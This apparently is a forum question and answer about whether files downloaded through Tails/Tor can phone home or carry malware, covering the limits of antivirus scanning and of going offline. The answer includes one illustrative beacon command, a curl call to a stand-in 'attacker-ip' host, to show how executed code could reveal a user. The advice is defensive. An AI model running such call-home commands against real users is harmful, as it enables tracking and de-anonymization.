If I download a file (PDF,doc,image,video etc) with a tails/tor setup, how can I ensure the file doesn't "call home" or isnt imbedded with malware (other than looking at the hash)? Will a simple malware scan work? And if I use tails to open the files and disconnect from the network I'm using can I still have my anonymity compromised?
The fact that a file was downloaded with TOR doesn't really have much relevance to whether or not it's technically safe to open, except maybe that it might be "more likely" to be malware. If you're asking if opening the file will compromise your anonymity, then that depends on the filetype and your setup. Generally you can assume that unless you're using tails or a VM/Router that is proxying all traffic, anything that executes code as your local user is going to be able to "curl http://attacker-ip/3948291" and give you up that way. I wouldn't even be comfortable opening up a regular PDF/DOCX file because it'd be hard to be sure there wasn't some documented feature I'm unaware of where those file formats autoload external content, nevermind a zeroday.
More generally, don't trust antivirus scans to be anything except a second line of defense. Consumer AV software (and honestly most enterprise IDS software) is generally only able to catch simple variations of already logged malware, or very obviously (to a computer) malicious combinations of sys or library calls. You also shouldn't expect to be safe unplugging the computer while you open it unless you're sure that whatever code you executed won't start up again later.